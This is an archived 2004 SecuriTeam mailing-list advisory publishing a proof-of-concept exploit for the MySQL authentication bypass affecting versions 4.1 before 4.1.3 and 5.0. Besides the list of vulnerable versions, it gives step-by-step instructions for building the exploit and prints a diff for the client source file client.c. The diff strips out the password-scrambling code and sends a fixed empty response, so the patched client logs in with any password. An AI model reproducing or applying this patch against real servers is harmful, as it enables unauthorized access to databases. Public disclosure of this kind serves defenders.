[EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/11/04

  • Next message: SecuriTeam: "[UNIX] Multiples Vulnerabilities In JAWS"
    To: list@securiteam.com
    Date: 11 Jul 2004 11:58:11 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
    ------------------------------------------------------------------------

    SUMMARY

    An issue with the authentication mechanism in MySQL has been reported in
    our previous article
    <http://www.securiteam.com/unixfocus/5BP0420DFQ.html> MySQL Authentication
    Scheme Bypass. A proof of concept patch for the MySQL client program is
    provided below which would cause the MySQL client to authenticate
    automatically.

    DETAILS

    Vulnerable Systems:
     * MySQL version 4.1 up to but not including 4.1.3
     * MySQL version 5.0

    Immune Systems:
     * MySQL version 4.1.3

    The diff patch can only be used against the latest alpha version (5.0.0)
    of MySQL. In order to use it, follow the following steps:

     * Download and unpack the MySQL 5.0.0-alpha source
     * Patch the sql-common/client.c file:
        sql-common/ $ patch client.c mysql.authentication.bypass_client.c.diff
     * Configure and Make as usual

    The resultant MySQL client binary can then be used normally but with one
    exception: The user can completely disregard the password and in fact can
    enter any password and it would not matter. The provided diff patch:
    1941,1956c1941,1942
    < if (passwd[0])
    < {
    < if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)
    < {
    < *end++= SCRAMBLE_LENGTH;
    < scramble(end, mysql->scramble, passwd);
    < end+= SCRAMBLE_LENGTH;
    < }
    < else
    < {
    < scramble_323(end, mysql->scramble, passwd);
    < end+= SCRAMBLE_LENGTH_323 + 1;
    < }
    < }
    < else
    < *end++= '\0'; /* empty password */

    ---
    >   sprintf(end,"\x14\x00");
    >   end+=2;
    ADDITIONAL INFORMATION
    The information has been provided by  
    <mailto:bambam@pineapple.shacknet.nu> bambam.
    ======================================== 
    This bulletin is sent to members of the SecuriTeam mailing list. 
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com 
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com 
    ==================== 
    ==================== 
    DISCLAIMER: 
    The information in this bulletin is provided "AS IS" without warranty of any kind. 
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. 
    

  • Next message: SecuriTeam: "[UNIX] Multiples Vulnerabilities In JAWS"

    Relevant Pages